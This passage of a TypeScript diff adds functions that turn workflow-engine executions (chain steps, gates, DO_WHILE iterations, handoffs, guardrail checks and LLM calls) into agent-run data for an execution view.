DO_WHILE, and no __N iteration suffix on those step tasks. + */ +function isChainWorkflow(tasks: ExecutionTask[]): boolean { + const hasDoWhile = tasks.some((t) => t.taskType === "DO_WHILE"); + if (hasDoWhile) return false; + return tasks.some( + (t) => + t.taskType === "SUB_WORKFLOW" && /_step_\d+_/.test(t.referenceTaskName), + ); +} + +/** + * Transform a sequential chain workflow into AgentRunData. + * Each step becomes a "turn" whose only sub-agent is the step agent. + * Gate INLINE tasks become gate events within the turn. + */ +function transformChainWorkflowToAgentRun( + execution: WorkflowExecution, +): AgentRunData { + const tasks: ExecutionTask[] = execution.tasks ?? []; + const startMs = toMs(execution.startTime); + const endMs = toMs(execution.endTime); + const isRunning = execution.status === WorkflowExecutionStatus.RUNNING; + const totalDurationMs = + endMs > 0 + ? endMs - startMs + : isRunning + ? Date.now() - startMs + : (execution.executionTime ?? 0); + + // Collect step SUB_WORKFLOW tasks, indexed by step N + const stepMap = new Map(); + // Collect gate INLINE tasks, indexed by step N (gate_N evaluates output of step N) + const gateMap = new Map(); + + for (const task of tasks) { + const stepN = getChainStepNum(task.referenceTaskName); + if (stepN !== null && task.taskType === "SUB_WORKFLOW") { + stepMap.set(stepN, task); + } + // Gate INLINE: ref ends with _gate_{N} (not _gate_switch_{N}) + const gateM = task.referenceTaskName.match(/_gate_(\d+)$/); + if (gateM && task.taskType === "INLINE") { + gateMap.set(parseInt(gateM[1], 10), task); + } + } + + const sortedSteps = Array.from(stepMap.entries()).sort(([a], [b]) => a - b); + + // Grab the per-step agent configs from the definition metadata for gate label info + const agentsDef = ((execution.workflowDefinition?.metadata?.agentDef as any) + ?.agents ?? []) as Array>; + + const turns: AgentTurn[] = sortedSteps.map( + ([stepN, task], idx): AgentTurn => { + const agentName = + getChainAgentName(task.referenceTaskName) ?? task.referenceTaskName; + const subWorkflowId = task.outputData?.subWorkflowId as + | string + | undefined; + const result = task.outputData?.result; + const resultStr = + typeof result === "string" && result.length > 0 ? result : undefined; + const durationMs = + task.endTime && task.startTime ? task.endTime - task.startTime : 0; + + const subAgent: AgentRunData = { + id: subWorkflowId ?? task.taskId ?? `chain-step-${stepN}`, + agentName, + subWorkflowId, + turns: resultStr + ? [ + { + turnNumber: 1, + status: mapTaskStatus(task.status), + durationMs, + tokens: ZERO_TOKENS, + subAgents: [], + events: [ + { + id: `${task.taskId}-msg`, + type: EventType.MESSAGE, + timestamp: task.startTime ?? 0, + summary: + resultStr.slice(0, 120) + + (resultStr.length > 120 ? "..." : ""), + detail: resultStr, + durationMs, + }, + ], + }, + ] + : [], + status: mapTaskStatus(task.status), + totalTokens: ZERO_TOKENS, + totalDurationMs: durationMs, + strategy: AgentStrategy.SINGLE, + output: resultStr, + failureReason: task.reasonForIncompletion ?? undefined, + }; + + const events: AgentEvent[] = []; + + // Gate event: evaluates the output of this step before proceeding to next + const gateTask = gateMap.get(stepN); + if (gateTask) { + const gateResult = gateTask.outputData?.result as + | { decision?: string } + | undefined; + const decision = gateResult?.decision ?? "continue"; + const isStop = decision === "stop"; + const gateDuration = + gateTask.endTime && gateTask.startTime + ? gateTask.endTime - gateTask.startTime + : 0; + const stepAgentDef = agentsDef[stepN]; + const gateCfg = stepAgentDef?.gate as + | Record + | undefined; + const sentinel = gateCfg?.text ? `"${gateCfg.text}"` : ""; + const gateLabel = isStop + ? `Gate${sentinel ? ` ${sentinel}` : ""} matched — chain stopped here` + : `Gate${sentinel ? ` ${sentinel}` : ""} not matched — chain continues`; + + events.push({ + id: `${gateTask.taskId}-gate`, + type: isStop ? EventType.GUARDRAIL_FAIL : EventType.GUARDRAIL_PASS, + timestamp: gateTask.startTime ?? 0, + summary: gateLabel, + toolName: "gate", + success: !isStop, + durationMs: gateDuration, + detail: { decision, ...(gateCfg ? { gate: gateCfg } : {}) }, + }); + } + + const timestamps = [ + task.startTime, + task.endTime, + gateTask?.startTime, + gateTask?.endTime, + ].filter((v): v is number => v != null && v > 0); + + return { + turnNumber: idx + 1, + events, + status: mapTaskStatus(task.status), + durationMs: timestamps.length + ? Math.max(...timestamps) - Math.min(...timestamps) + : durationMs, + tokens: ZERO_TOKENS, + subAgents: [subAgent], + strategy: AgentStrategy.SEQUENTIAL, + }; + }, + ); + + const agentDef = execution.workflowDefinition?.metadata?.agentDef as + | Record + | undefined; + const finishReason = + execution.status === WorkflowExecutionStatus.COMPLETED + ? FinishReason.STOP + : execution.status === WorkflowExecutionStatus.FAILED || + execution.status === WorkflowExecutionStatus.TIMED_OUT || + execution.status === WorkflowExecutionStatus.TERMINATED + ? FinishReason.ERROR + : undefined; + const execInput = execution.input as any; + const agentInput: string | undefined = + typeof execInput === "string" + ? execInput || undefined + : typeof execInput === "object" && execInput !== null + ? execInput.prompt || + execInput.conversation || + execInput.message || + undefined + : undefined; + + // Root output: last step's result, or workflow output field + const lastStep = sortedSteps[sortedSteps.length - 1]; + let chainOutput: string | undefined; + if (lastStep) { + const r = lastStep[1].outputData?.result; + if (typeof r === "string" && r.length > 0) chainOutput = r; + } + if (!chainOutput && execution.output) { + const wfOut = execution.output as any; + const candidate = wfOut.result ?? wfOut.output ?? wfOut.message; + if (typeof candidate === "string" && (candidate as string).length > 0) + chainOutput = candidate as string; + } + + const chainModel = + (agentDef?.model as string | undefined) ?? + (tasks.find((t) => t.taskType === "LLM_CHAT_COMPLETE")?.inputData?.model as + | string + | undefined); + + return { + id: execution.workflowId, + agentName: execution.workflowName ?? execution.workflowType ?? "agent", + model: chainModel, + turns, + status: mapWorkflowStatus(execution.status), + agentDef, + totalTokens: ZERO_TOKENS, + totalDurationMs, + finishReason, + strategy: AgentStrategy.SEQUENTIAL, + input: agentInput, + output: chainOutput, + }; +} + +/** + * Transform a top-level WorkflowExecution into AgentRunData for the Agent Execution tab. + * Groups tasks by DO_WHILE iteration; each iteration becomes one turn. + * Each handoff SUB_WORKFLOW task within an iteration becomes a sub-agent. + */ +export function transformWorkflowExecutionToAgentRun( + execution: WorkflowExecution, +): AgentRunData { + const tasks: ExecutionTask[] = execution.tasks ?? []; + + // Sequential chain: delegate to dedicated transformer + if (isChainWorkflow(tasks)) { + return transformChainWorkflowToAgentRun(execution); + } + + const startMs = toMs(execution.startTime); + const endMs = toMs(execution.endTime); + const isRunning = execution.status === WorkflowExecutionStatus.RUNNING; + const totalDurationMs = + endMs > 0 + ? endMs - startMs + : isRunning + ? Date.now() - startMs + : (execution.executionTime ?? 0); + + // Infrastructure task types to skip everywhere + const ITER_INFRA = new Set([ + "SET_VARIABLE", + "SWITCH", + "INLINE", + "DO_WHILE", + "FORK", + "FORK_JOIN", + "FORK_JOIN_DYNAMIC", + "JOIN", + ]); + + // Build set of guardrail function names from agentDef for robust detection + const agentDefMeta = execution.workflowDefinition?.metadata?.agentDef as + | Record + | undefined; + const guardrailFnNames = new Set(); + for (const gList of [ + (agentDefMeta?.input_guardrails as + | Array> + | undefined) ?? [], + (agentDefMeta?.output_guardrails as + | Array> + | undefined) ?? [], + (agentDefMeta?.guardrails as Array> | undefined) ?? + [], + ]) { + for (const g of gList) { + const fn = (g.guardrail_function ?? g) as Record; + const name = (fn._worker_ref ?? fn.name) as string | undefined; + if (name) guardrailFnNames.add(name.toLowerCase()); + } + } + + // Group tasks by DO_WHILE iteration number; collect root-level tasks separately + const iterMap = new Map(); + const rootActiveTasks: ExecutionTask[] = []; + for (const task of tasks) { + const iter = getIterationNum(task.referenceTaskName); + if (iter !== null) { + if (!iterMap.has(iter)) iterMap.set(iter, []); + iterMap.get(iter)!.push(task); + } else if (!ITER_INFRA.has(task.taskType)) { + // Root-level non-infrastructure: final LLM tasks, or entire simple agents + rootActiveTasks.push(task); + } + } + + const sortedIters = Array.from(iterMap.entries()).sort(([a], [b]) => a - b); + + // The root agent's own name — used to detect SWARM self-calls + const rootAgentName: string = + execution.workflowName ?? execution.workflowType ?? ""; + + const turns: AgentTurn[] = sortedIters + .map(([, iterTasks], idx) => { + const agentTasks = iterTasks.filter(isAgentSubWorkflow); + + // LLM tasks directly in this iteration (tool-calling agent pattern) + // Dedup retried tasks so timed-out attempts don't appear as parallel forks + const { tasks: iterLlmTasks } = deduplicateRetriedTasks( + iterTasks.filter((t) => t.taskType === "LLM_CHAT_COMPLETE"), + ); + + // Tool worker tasks — any non-infra, non-subworkflow, non-LLM task + const { + tasks: toolWorkerTasks, + attemptCounts: toolAttemptCounts, + attemptGroups: toolAttemptGroups, + } = deduplicateRetriedTasks( + iterTasks.filter( + (t) => + !ITER_INFRA.has(t.taskType) && + t.taskType !== "SUB_WORKFLOW" && + t.taskType !== "LLM_CHAT_COMPLETE", + ), + ); + + // SWARM self-calls: iterations where the agent IS the root agent itself + // (e.g. CEO calling itself to make a routing decision) + const selfCalls = agentTasks.filter( + (t) => extractAgentName(t.referenceTaskName) === rootAgentName, + ); + // Real sub-agent calls: exclude router tasks (orchestration machinery) + // and self-calls — both are handled separately above/below. + const subAgentTasks = agentTasks.filter( + (t) => + extractAgentName(t.referenceTaskName) !== rootAgentName && + !t.referenceTaskName.includes("_router_"), + ); + + const events: AgentEvent[] = []; + + // Self-calls → HANDOFF events (the agent deciding where to route) + for (const task of selfCalls) { + const transferTo = task.outputData?.transfer_to as string | undefined; + const isTransfer = task.outputData?.is_transfer as boolean | undefined; + const durationMs = + task.endTime && task.startTime ? task.endTime - task.startTime : 0; + + if (isTransfer && transferTo) { + events.push({ + id: `${task.taskId}-handoff`, + type: EventType.HANDOFF, + timestamp: task.endTime ?? 0, + summary: `→ ${transferTo}`, + targetAgent: transferTo, + detail: { transfer_to: transferTo, agent: rootAgentName }, + durationMs, + }); + } else { + // Self-call with no transfer → agent responded directly (final response) + events.push({ + id: `${task.taskId}-msg`, + type: EventType.MESSAGE, + timestamp: task.endTime ?? 0, + summary: "Agent responded", + durationMs, + }); + } + } + + // Also handle HANDOFF-strategy router tasks (team_t1 style) + if (selfCalls.length === 0) { + const routerTask = iterTasks.find((t) => + t.referenceTaskName.includes("_router_"), + ); + const routingDecision = routerTask?.outputData?.result as + | string + | undefined; + if (routingDecision && subAgentTasks.length > 0) { + events.push({ + id: `iter-${idx}-route`, + type: EventType.HANDOFF, + timestamp: routerTask?.endTime ?? 0, + summary: `→ ${routingDecision}`, + targetAgent: routingDecision, + detail: { routing_decision: routingDecision }, + }); + } + } + + // Build sub-agents from real sub-agent calls + const subAgents: AgentRunData[] = subAgentTasks.map( + (task): AgentRunData => { + // Prefer subWorkflowName from inputData (Conductor populates this with the workflow name). + // For "agent-as-tool" tasks (ref name = call_{toolCallId}__N), workflowTask.name holds + // the actual agent/sub-workflow name (e.g. "deep_analyst_68"). + // Otherwise fall back to regex extraction then raw reference name. + const isAgentAsTool = /^call_[A-Za-z0-9]+__\d+$/.test( + task.referenceTaskName, + ); + const agentName = + (task.inputData?.subWorkflowName as string | undefined) ?? + (isAgentAsTool ? task.workflowTask?.name : null) ?? + extractAgentName(task.referenceTaskName) ?? + task.referenceTaskName; + const subWorkflowId = task.outputData?.subWorkflowId as + | string + | undefined; + const result = task.outputData?.result; + const resultStr = + typeof result === "string" && result.length > 0 + ? result + : undefined; + // Agent-as-tool: input is nested under workflowInput.prompt + const agentInput = isAgentAsTool + ? ((task.inputData as any)?.workflowInput?.prompt as + | string + | undefined) + : undefined; + const durationMs = + task.endTime && task.startTime ? task.endTime - task.startTime : 0; + + const subTurns: AgentTurn[] = resultStr + ? [ + { + turnNumber: 1, + status: mapTaskStatus(task.status), + durationMs, + tokens: ZERO_TOKENS, + subAgents: [], + events: [ + { + id: `${task.taskId}-msg`, + type: EventType.MESSAGE, + timestamp: task.startTime ?? 0, + summary: + resultStr.slice(0, 120) + + (resultStr.length > 120 ? "..." : ""), + detail: resultStr, + durationMs, + }, + { + id: `${task.taskId}-done`, + type: EventType.DONE, + timestamp: task.endTime ?? 0, + summary: "Agent completed", + success: task.status === "COMPLETED", + }, + ], + }, + ] + : []; + + return { + id: subWorkflowId ?? task.taskId ?? `sub-${agentName}`, + agentName, + subWorkflowId, + turns: subTurns, + status: mapTaskStatus(task.status), + totalTokens: ZERO_TOKENS, + totalDurationMs: durationMs, + strategy: AgentStrategy.SINGLE, + input: agentInput, + output: resultStr, + failureReason: task.reasonForIncompletion ?? undefined, + }; + }, + ); + + // LLM events: one block per LLM call showing input + output + for (const llmTask of iterLlmTasks) { + const condensed = maybeCondensationEvent(llmTask); + if (condensed) events.push(condensed); + + const model = llmTask.inputData?.model as string | undefined; + const llmBaseUrl = llmTask.inputData?.baseUrl as string | undefined; + const finishReason = ( + (llmTask.outputData?.finishReason as string) ?? "stop" + ).toLowerCase(); + const result = llmTask.outputData?.result; + const promptTokens = (llmTask.outputData?.promptTokens as number) || 0; + const completionTokens = + (llmTask.outputData?.completionTokens as number) || 0; + const messages = + (llmTask.inputData?.messages as Array<{ + role: string; + message: string; + }>) ?? []; + const tools = (llmTask.inputData?.tools as unknown[]) ?? []; + const llmDuration = + llmTask.endTime && llmTask.startTime + ? llmTask.endTime - llmTask.startTime + : 0; + const isStop = finishReason === "stop"; + + // Show instructions (system prompt) + last user message only + const sysMsg = messages.find((m) => m.role === "system"); + const lastMsg = [...messages] + .reverse() + .find((m) => m.role !== "system"); + + // ONE block: LLM call — instructions + last message + output + events.push({ + id: `${llmTask.taskId}-llm`, + type: EventType.THINKING, + timestamp: llmTask.startTime ?? 0, + toolName: model, + baseUrl: llmBaseUrl, + summary: `${model ?? "LLM"} · ${messages.length} messages${tools.length ? ` · ${tools.length} tools` : ""}`, + detail: { + input: { + ...(sysMsg ? { instructions: sysMsg.message } : {}), + ...(lastMsg ? { message: lastMsg.message } : {}), + }, + output: llmTask.outputData, + }, + result: isStop && typeof result === "string" ? result : result, + tokens: { + promptTokens, + completionTokens, + totalTokens: promptTokens + completionTokens, + }, + durationMs: llmDuration, + success: taskSuccess(llmTask.status), + condensationInfo: condensed?.condensationInfo, + }); + + // If the LLM returned a text response, show it as "Output" (DONE event) + if (isStop && typeof result === "string" && result.length > 0) { + events.push({ + id: `${llmTask.taskId}-output`, + type: EventType.DONE, + timestamp: llmTask.endTime ?? 0, + summary: result.slice(0, 120) + (result.length > 120 ? "..." : ""), + detail: result, + success: true, + tokens: { + promptTokens, + completionTokens, + totalTokens: promptTokens + completionTokens, + }, + durationMs: llmDuration, + }); + } + } + + // Tool worker events — ONE combined block per call showing input + output + // Track whether a HANDOFF was already emitted this turn to avoid duplicates. + let handoffEmittedThisTurn = false; + + for (const toolTask of toolWorkerTasks) { + const idData = (toolTask.inputData ?? {}) as Record; + const od = (toolTask.outputData ?? {}) as Record; + const toolName = toolTask.taskType; + const failed = toolTask.status === "FAILED"; + const toolDuration = + toolTask.endTime && toolTask.startTime + ? toolTask.endTime - toolTask.startTime + : 0; + + // Strip only the large internal state blob; keep method + actual args + const cleanInput = Object.fromEntries( + Object.entries(idData).filter(([k]) => k !== "_agent_state"), + ); + + // ── Handoff / transfer tools ────────────────────────────────────────── + // Tools named transfer_to_* or handoff_to_* are agent-handoff mechanisms, + // not real user tools. Convert them to a HANDOFF event. + const isHandoffTool = + /^(transfer_to_|handoff_to_|route_to_|delegate_to_)/i.test(toolName); + if (isHandoffTool) { + // Extract target agent name: everything after the prefix + const target = + toolName + .replace( + /^(transfer_to_|handoff_to_|route_to_|delegate_to_)/i, + "", + ) + .replace(/_/g, " ") + .trim() || toolName; + if (!handoffEmittedThisTurn) { + events.push({ + id: `${toolTask.taskId}-handoff`, + type: EventType.HANDOFF, + timestamp: toolTask.endTime ?? 0, + summary: `→ ${target}`, + targetAgent: target, + detail: { transfer_to: target }, + durationMs: toolDuration, + }); + handoffEmittedThisTurn = true; + } + continue; + } + + // ── Transfer-check tasks (e.g. coder_check_transfer__N) ─────────────── + // These are orchestration infrastructure tasks that confirm a handoff decision. + // Detected by output shape { is_transfer: bool, transfer_to: string }. + // Emit HANDOFF only as a fallback when no handoff tool ran. + const isTransferCheck = "is_transfer" in od; + if (isTransferCheck) { + const isTransfer = od.is_transfer === true; + const transferTo = od.transfer_to as string | undefined; + if (isTransfer && transferTo && !handoffEmittedThisTurn) { + events.push({ + id: `${toolTask.taskId}-handoff`, + type: EventType.HANDOFF, + timestamp: toolTask.endTime ?? 0, + summary: `→ ${transferTo}`, + targetAgent: transferTo, + detail: { transfer_to: transferTo }, + durationMs: toolDuration, + }); + handoffEmittedThisTurn = true; + } + // Always skip — pure orchestration infra, never show as a tool call + continue; + } + + // ── Detect guardrail tasks by name convention or agentDef declaration ── + const refName = (toolTask.referenceTaskName ?? "").toLowerCase(); + const isGuardrail = + toolName.toLowerCase().includes("guardrail") || + refName.includes("guardrail") || + guardrailFnNames.has(toolName.toLowerCase()); + if (isGuardrail) { + // Extract the actual content the guardrail checked (strip redundant alias fields) + const guardrailInput = + idData.content ?? + idData.agent_output ?? + idData.input_text ?? + idData.output ?? + idData.input; + // Look for the INLINE evaluation result in the same iteration + const evalRefPrefix = refName.replace(/_worker(_|$)/, "$1"); + const evalTask = iterTasks.find( + (t) => + t.taskType === "INLINE" && + (t.referenceTaskName ?? "") + .toLowerCase() + .startsWith(evalRefPrefix), + ); + const evalResult = evalTask?.outputData?.result as + | Record + | undefined; + // Build a clean output: merge worker output with evaluation result + const guardrailOutput = evalResult ?? od; + + // Guardrail "failure" is expressed in the output data, not the task status. + // The worker task COMPLETES even when the guardrail triggers — check output fields. + const guardrailTriggered = + failed || + od.tripwire_triggered === true || + evalResult?.passed === false; + const reason = + (evalResult?.message as string | undefined) ?? + (od.output_info as any)?.reason ?? + (guardrailTriggered + ? (toolTask.reasonForIncompletion ?? "content blocked") + : "passed"); + + events.push({ + id: `${toolTask.taskId}-guardrail`, + type: guardrailTriggered + ? EventType.GUARDRAIL_FAIL + : EventType.GUARDRAIL_PASS, + timestamp: toolTask.startTime ?? 0, + toolName, + summary: guardrailTriggered + ? `${toolName} blocked: ${reason}` + : `${toolName} — ${reason}`, + detail: { input: guardrailInput, output: guardrailOutput }, + success: !guardrailTriggered, + durationMs: toolDuration, + taskMeta: { + taskId: toolTask.taskId, + taskType: toolTask.taskType, + referenceTaskName: toolTask.referenceTaskName, + scheduledTime: toolTask.scheduledTime ?? undefined, + startTime: toolTask.startTime ?? undefined, + endTime: toolTask.endTime ?? undefined, + workerId: toolTask.workerId ?? undefined, + reasonForIncompletion: + toolTask.reasonForIncompletion ?? undefined, + retryCount: toolTask.retryCount, + totalAttempts: toolAttemptCounts.get(toolTask.referenceTaskName), + allAttempts: buildAllAttempts( + toolTask.referenceTaskName, + toolAttemptGroups, + ), + pollCount: toolTask.pollCount, + seq: toolTask.seq, + queueWaitTime: toolTask.queueWaitTime, + }, + }); + continue; + } + + // Build a readable output preview for the summary line + const outputPreview = failed + ? `Error: ${toolTask.reasonForIncompletion ?? "failed"}` + : (() => { + // Prefer unwrapped result if the only key is 'result' + const keys = Object.keys(od); + const val = + keys.length === 1 && keys[0] === "result" ? od["result"] : od; + try { + return (JSON.stringify(val) ?? "").slice(0, 80); + } catch { + return "[complex data]"; + } + })(); + + const toolTotalAttempts = toolAttemptCounts.get( + toolTask.referenceTaskName, + ); + events.push({ + id: `${toolTask.taskId}-tool`, + type: EventType.TOOL_CALL, + timestamp: toolTask.startTime ?? 0, + toolName, + summary: `${toolName} → ${outputPreview}`, + detail: { + input: cleanInput, + output: failed ? toolTask.reasonForIncompletion : od, + }, + toolArgs: cleanInput, + result: failed ? undefined : od, + success: taskSuccess(toolTask.status), + durationMs: toolDuration, + taskMeta: { + taskId: toolTask.taskId, + taskType: toolTask.taskType, + referenceTaskName: toolTask.referenceTaskName, + scheduledTime: toolTask.scheduledTime ?? undefined, + startTime: toolTask.startTime ?? undefined, + endTime: toolTask.endTime ?? undefined, + workerId: toolTask.workerId ?? undefined, + reasonForIncompletion: toolTask.reasonForIncompletion ?? undefined, + retryCount: toolTask.retryCount, + totalAttempts: toolTotalAttempts, + allAttempts: buildAllAttempts( + toolTask.referenceTaskName, + toolAttemptGroups, + ), + pollCount: toolTask.pollCount, + seq: toolTask.seq, + queueWaitTime: toolTask.queueWaitTime, + }, + }); + } + + // If this iteration has no meaningful events (e.g. a done_noop termination + // iteration), produce nothing — the turn will be filtered out below. + + const timestamps = iterTasks + .flatMap((t) => [t.startTime, t.endTime]) + .filter((v): v is number => v != null && v > 0); + const turnStart = timestamps.length ? Math.min(...timestamps) : 0; + const turnEnd = timestamps.length ? Math.max(...timestamps) : 0; + + // Token counts from LLM tasks in this iteration + const turnPromptTokens = iterLlmTasks.reduce( + (s, t) => s + ((t.outputData?.promptTokens as number) || 0), + 0, + ); + const turnCompletionTokens = iterLlmTasks.reduce( + (s, t) => s + ((t.outputData?.completionTokens as number) || 0), + 0, + ); + + const subStatuses = subAgents.map((s) => s.status); + const anyRunning = + subStatuses.includes(AgentStatus.RUNNING) || + iterTasks.some((t) => t.status === "IN_PROGRESS"); + const anyFailed = + subStatuses.includes(AgentStatus.FAILED) || + iterTasks.some((t) => t.status === "FAILED"); + const turnStatus = anyRunning + ? AgentStatus.RUNNING + : anyFailed + ? AgentStatus.FAILED + : AgentStatus.COMPLETED; + + return { + turnNumber: idx + 1, + events, + status: turnStatus, + durationMs: turnEnd > turnStart ? turnEnd - turnStart : 0, + tokens: { + promptTokens: turnPromptTokens, + completionTokens: turnCompletionTokens, + totalTokens: turnPromptTokens + turnCompletionTokens, + }, + subAgents, + strategy: + subAgents.length > 1 ? AgentStrategy.PARALLEL : AgentStrategy.HANDOFF, + }; + }) + .filter((t) => t.events.length > 0 || t.subAgents.length > 0); + + // Build sub-agents from root-level SUB_WORKFLOW tasks (merged into root events turn below). + const rootSubWorkflows = rootActiveTasks.filter(isAgentSubWorkflow); + const rootSubAgents: AgentRunData[] = rootSubWorkflows.map((task) => { + const agentName = + extractAgentName(task.referenceTaskName) ?? + (task.inputData?.subWorkflowName as string) ?? + task.workflowTask?.name ?? + task.referenceTaskName; + const subWfId = task.outputData?.subWorkflowId as string | undefined; + const dur = + task.endTime && task.startTime ? task.endTime - task.startTime : 0; + + // Extract input from workflowInput (Claude Code / agent-as-tool pattern) + const wfInput = task.inputData?.workflowInput as + | Record + | undefined; + const agentInput = + (wfInput?.prompt as string | undefined) ?? + (wfInput?.description as string | undefined) ?? + undefined; + + // Extract output: try result, then tool_response content blocks + let outputStr: string | undefined; + const directResult = task.outputData?.result; + if (typeof directResult === "string" && directResult.length > 0) { + outputStr = directResult; + } else { + const toolResp = task.outputData?.tool_response as + | Record + | undefined; + if (toolResp) { + const content = toolResp.content as + | Array> + | undefined; + if (Array.isArray(content)) { + const textBlock = content.find((c) => c.type === "text"); + if (textBlock && typeof (textBlock as any).text === "string") { + outputStr = (textBlock as any).text; + } + } + if (!outputStr && typeof toolResp.result === "string") { + outputStr = toolResp.result as string; + } + } + } + + const failReason = task.reasonForIncompletion ?? undefined; + + const subTurns: AgentTurn[] = outputStr + ? [ + { + turnNumber: 1, + status: mapTaskStatus(task.status), + durationMs: dur, + tokens: ZERO_TOKENS, + subAgents: [], + events: [ + { + id: `${task.taskId}-msg`, + type: EventType.MESSAGE, + timestamp: task.startTime ?? 0, + summary: + outputStr.slice(0, 120) + + (outputStr.length > 120 ? "..." : ""), + detail: outputStr, + durationMs: dur, + }, + { + id: `${task.taskId}-done`, + type: EventType.DONE, + timestamp: task.endTime ?? 0, + summary: "Agent completed", + success: task.status === "COMPLETED", + }, + ], + }, + ] + : []; + + return { + id: subWfId ?? task.taskId, + subWorkflowId: subWfId, + agentName, + turns: subTurns, + status: mapTaskStatus(task.status), + totalTokens: ZERO_TOKENS, + totalDurationMs: dur, + input: agentInput, + output: outputStr, + failureReason: failReason, + } as AgentRunData; + }); + + // Build events + turn for root-level tasks (outside DO_WHILE). + // This handles: simple single-LLM agents (greeter, triage_router_wf), + // final synthesis tasks, and Claude Code agent tool calls + sub-agents. + // Sub-agents are included in the same turn to preserve execution order. + // Dedup retried tasks so timed-out attempts don't duplicate events. + const { + tasks: dedupedRootTasks, + attemptCounts: rootAttemptCounts, + attemptGroups: rootAttemptGroups, + } = deduplicateRetriedTasks(rootActiveTasks); + let finalOutput: string | undefined; + if (dedupedRootTasks.length > 0) { + const rootEvents: AgentEvent[] = []; + let rootPrompt = 0, + rootCompletion = 0; + + for (const task of dedupedRootTasks) { + // Skip the framework task (_fw_task) — it represents the agent itself, not a tool call. + // Its outputData is used for the final agent output below. + if (task.referenceTaskName === "_fw_task") continue; + + if (task.taskType === "LLM_CHAT_COMPLETE") { + const condensed = maybeCondensationEvent(task); + if (condensed) rootEvents.push(condensed); + + const model = task.inputData?.model as string | undefined; + const rootBaseUrl = task.inputData?.baseUrl as string | undefined; + const finishReason = ( + (task.outputData?.finishReason as string) ?? "stop" + ).toLowerCase(); + const result = task.outputData?.result; + const promptTokens = (task.outputData?.promptTokens as number) || 0; + const completionTokens = + (task.outputData?.completionTokens as number) || 0; + const messages = + (task.inputData?.messages as Array<{ + role: string; + message: string; + }>) ?? []; + const tools = (task.inputData?.tools as unknown[]) ?? []; + const dur = + task.endTime && task.startTime ? task.endTime - task.startTime : 0; + rootPrompt += promptTokens; + rootCompletion += completionTokens; + + const rootSysMsg = messages.find((m) => m.role === "system"); + const rootLastMsg = [...messages] + .reverse() + .find((m) => m.role !== "system"); + + rootEvents.push({ + id: `${task.taskId}-llm`, + type: EventType.THINKING, + toolName: model, + baseUrl: rootBaseUrl, + timestamp: task.startTime ?? 0, + summary: `${model ?? "LLM"} · ${messages.length} messages${tools.length ? ` · ${tools.length} tools` : ""}`, + detail: { + input: { + ...(rootSysMsg ? { instructions: rootSysMsg.message } : {}), + ...(rootLastMsg ? { message: rootLastMsg.message } : {}), + }, + output: task.outputData, + }, + tokens: { + promptTokens, + completionTokens, + totalTokens: promptTokens + completionTokens, + }, + durationMs: dur, + success: taskSuccess(task.status), + condensationInfo: condensed?.condensationInfo, + }); + + if ( + finishReason === "stop" && + typeof result === "string" && + result.length > 0 + ) { + finalOutput = result; + rootEvents.push({ + id: `${task.taskId}-output`, + type: EventType.DONE, + timestamp: task.endTime ?? 0, + summary: result.slice(0, 120) + (result.length > 120 ? "..." : ""), + detail: result, + success: true, + tokens: { + promptTokens, + completionTokens, + totalTokens: promptTokens + completionTokens, + }, + durationMs: dur, + }); + } + } else if ( + !ITER_INFRA.has(task.taskType) && + task.taskType !== "SUB_WORKFLOW" + ) { + // Root-level tool worker task (no DO_WHILE iteration suffix) + const od = (task.outputData ?? {}) as Record; + const idData = (task.inputData ?? {}) as Record; + const failed = task.status === "FAILED"; + const dur = + task.endTime && task.startTime ? task.endTime - task.startTime : 0; + const cleanInput = Object.fromEntries( + Object.entries(idData).filter(([k]) => k !== "_agent_state"), + ); + + // Handoff/transfer tools → HANDOFF event, not TOOL_CALL + if ( + /^(transfer_to_|handoff_to_|route_to_|delegate_to_)/i.test( + task.taskType, + ) + ) { + const target = task.taskType + .replace(/^(transfer_to_|handoff_to_|route_to_|delegate_to_)/i, "") + .replace(/_/g, " ") + .trim(); + rootEvents.push({ + id: `${task.taskId}-handoff`, + type: EventType.HANDOFF, + timestamp: task.endTime ?? 0, + summary: `→ ${target}`, + targetAgent: target, + detail: { transfer_to: target }, + durationMs: dur, + }); + // Transfer-check infra tasks → emit HANDOFF only if is_transfer=true, else skip + } else if ("is_transfer" in od) { + if (od.is_transfer === true && od.transfer_to) { + rootEvents.push({ + id: `${task.taskId}-handoff`, + type: EventType.HANDOFF, + timestamp: task.endTime ?? 0, + summary: `→ ${od.transfer_to}`, + targetAgent: od.transfer_to as string, + detail: { transfer_to: od.transfer_to }, + durationMs: dur, + }); + } + // skip regardless + } else { + const isGuardrail = task.taskType.toLowerCase().includes("guardrail"); + if (isGuardrail) { + rootEvents.push({ + id: `${task.taskId}-guardrail`, + type: failed + ? EventType.GUARDRAIL_FAIL + : EventType.GUARDRAIL_PASS, + timestamp: task.startTime ?? 0, + toolName: task.taskType, + summary: failed + ? `${task.taskType} blocked: ${task.reasonForIncompletion ?? "content blocked"}` + : `${task.taskType} passed`, + detail: { + input: cleanInput, + output: failed ? task.reasonForIncompletion : od, + }, + success: !failed, + durationMs: dur, + }); + } else { + rootEvents.push({ + id: `${task.taskId}-tool`, + type: EventType.TOOL_CALL, + timestamp: task.startTime ?? 0, + toolName: task.taskType, + summary: task.taskType, + detail: { + input: cleanInput, + output: failed ? task.reasonForIncompletion : od, + }, + toolArgs: cleanInput, + result: failed ? undefined : od, + success: taskSuccess(task.status), + durationMs: dur, + taskMeta: { + taskId: task.taskId, + taskType: task.taskType, + referenceTaskName: task.referenceTaskName, + scheduledTime: task.scheduledTime ?? undefined, + startTime: task.startTime ?? undefined, + endTime: task.endTime ?? undefined, + workerId: task.workerId ?? undefined, + reasonForIncompletion: task.reasonForIncompletion ?? undefined, + retryCount: task.retryCount, + totalAttempts: rootAttemptCounts.get(task.referenceTaskName), + allAttempts: buildAllAttempts( + task.referenceTaskName, + rootAttemptGroups, + ), + pollCount: task.pollCount, + seq: task.seq, + queueWaitTime: task.queueWaitTime, + }, + }); + } + } + } + } + + if (rootEvents.length > 0 || rootSubAgents.length > 0) { + const rootTimestamps = rootActiveTasks + .flatMap((t) => [t.startTime, t.endTime]) + .filter((v): v is number => v != null && v > 0); + turns.push({ + turnNumber: turns.length + 1, + events: rootEvents, + status: AgentStatus.COMPLETED, + durationMs: rootTimestamps.length + ? Math.max(...rootTimestamps) - Math.min(...rootTimestamps) + : 0, + tokens: { + promptTokens: rootPrompt, + completionTokens: rootCompletion, + totalTokens: rootPrompt + rootCompletion, + }, + subAgents: rootSubAgents, + }); + } + } + + // Check the framework task (_fw_task) for output — Claude Code agent pattern + if (!finalOutput) { + const fwTask = rootActiveTasks.find( + (t) => t.referenceTaskName === "_fw_task", + ); + 